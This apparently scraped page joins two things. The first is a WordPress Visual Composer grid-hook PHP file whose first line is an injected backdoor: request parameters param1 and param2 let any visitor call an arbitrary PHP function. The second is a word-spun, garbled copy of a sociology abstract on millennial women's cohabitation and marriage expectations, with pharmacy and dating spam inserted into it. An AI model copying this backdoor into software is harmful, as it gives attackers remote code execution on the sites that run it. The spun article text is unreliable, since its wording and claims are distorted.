?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Cohabitation and you may ong Single Millennials regarding You.S - Groupe-SLG

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Cohabitation and you may ong Single Millennials regarding You.S

Recrutement :

buy discount Quetiapine online Cohabitation and you may ong Single Millennials regarding You.S

Marshal Neal Fettro

1 Company off Sociology and you will Cardio for Members of the family and you will Demographic Research, Bowling Green County University, Williams Hallway, Bowling Environmentally friendly, OH 43403, Us.

Abstract

Cohabitation features exceeded relationships as the utmost well-known relationship experience in younger adulthood. We exploit another type of possible opportunity to glance at both ong young unmarried women in has just obtained, nationwide member investigation (Federal Questionnaire of Family Gains 2011-20step 15) (n=1,467). Throughout the U.S. here is apparently good ‘stalled’ Second Market Change because unmarried younger adult (years 18-24) women have healthier standards to wed than simply cohabit and big most anticipates so you’re able to, or has, already ong ladies expecting to marry, most (68%) anticipate to cohabit using their upcoming mate but throughout the you to definitely-3rd anticipate to realize a timeless dating pathway to your relationships (to wed versus cohabiting basic). Likewise, feminine of disadvantaged experiences statement a minimal standards so you can marry, but there is no education gradient during the standard to help you cohabit. Wedding standard realize an effective “diverging destinies” development, and therefore stresses an evergrowing instructional divide, but it is not the fact to own cohabitation standards. All of our abilities, predicated on has just gathered data, provide understanding of brand new contemporary context regarding relationship formation choice-and come up with to your millennial generation.

Cohabitation has exceeded relationships due to the fact typical relationships experience in more youthful adulthood, for the vast majority that have cohabited although not yet ). Before, cohabitation typically supported since a means to matrimony. This appears to have altered. Now cohabitation cannot largely act as the way so you’re able to idi, Manning, and you will Brown 2015). Close to which “decoupling” out-of cohabitation and you will relationship, growing shares regarding young people has actually existed having numerous cohabiting partners (Vespa 2014).

One of the most significant theoretical structures accustomed understand historic transform in marriage and cohabitation ‘s the 2nd Group Change (SDT); they posits one ideational or cultural activities are foundational to vehicle operators of friends alter near to monetary and structural changes (Lestheaghe 2014). Since the behavioral alter noted more than was consistent with the SDT, an important tenet of SDT will be based upon ashift for the ideations otherwise societal norms favoring family lifestyle away from marriage. Data away from entirely behavioural data brings merely a limited contact lens out-of where our company is culturally when it comes to family unit members lifetime and you will romantic dating, and you may, particularly for this research, the connection between cohabitation and you may relationship. As really teenagers haven’t yet partnered, behavioural studies are minimal getting skills thought of website links anywhere between cohabitation and you may marriage. More over, once the cohabitation is normally a rash ; Manning ainsi que al. 2014a; Sassler 2004; Sassler et al. 2018), behavioral tips was arguably incomplete indicators from matchmaking choice.

As well, loved ones improvement in the new U.S. has been defined while the “diverging destinies,” a view who’s got catalyzed a great amount of research. Because articulated because of the McLanahan (2004), there was an ever growing public group divide for the family unit members patterns. I determine if a social class gradient is present with regards to union development criterion. Offered research you to young adults understand a leading monetary club to possess matrimony, we evaluate if younger ladies dating criterion are different because of the socioeconomic facts, with better criterion so you can marry of the really advantaged and better requirement so you can cohabit one of several minimum advantaged (Gibson-Davis, Edin, and you will McLanahan 2005; Gibson-Davis, Gassmann-Pines, and you will Lehrman 2018; Sassler and Miller 2017; Smock, Manning, and you will Porter 2005).

Understanding the needs of recent cohorts off young people is actually therefore important to own evaluating the current ideational perspective nearby union development. Yet, no study has actually examined the new marital and you can cohabitation expectations of younger people. Attracting for the the brand new questions from a nationwide affiliate survey (Federal Questionnaire away from Household members Progress [NSFG] 2011-2015), i take a look at the each other cohabitation and you will marital standards to compliment knowledge about younger ladies’ relationship development goals. The works specifically considers this new hopes of unmarried (we.age., not cohabiting otherwise hitched) ladies (18-24) who are people in this new later on millennial cohort (born 1987-1997). You will find about three seeks. The initial examines how relationship and cohabitation “rank” with respect to asked relationship futures from the evaluating whether or not requirement to marry resemble the individuals in order to cohabit. Which question for you is highly relevant to the SDT principle, that would anticipate that relationship and you may cohabitation will be also expected by young people. Instead, a beneficial “stalled” SDT might be apparent if the expectations in order to get married are nevertheless greater than criterion so you’re able to cohabit. Khon kaen women to date A moment aim would be to glance at whether younger ladies traditional getting marriage others to the expecting to cohabit. Which is, emphasizing people who be prepared to ine if or not cohabitation are seen since a pathway into wedding or whether head relationships in the place of cohabitation is anticipated. If nearly all be prepared to cohabit to their treatment for matrimony, this could be similar to the SDT. In the long run, we evaluate whether such dating requirement was consistent with diverging destinies, meaning it are very different by the public class with additional advantaged young adults revealing greater requirement to help you wed and a lot more disadvantaged stating better traditional to cohabit than simply their alternatives.

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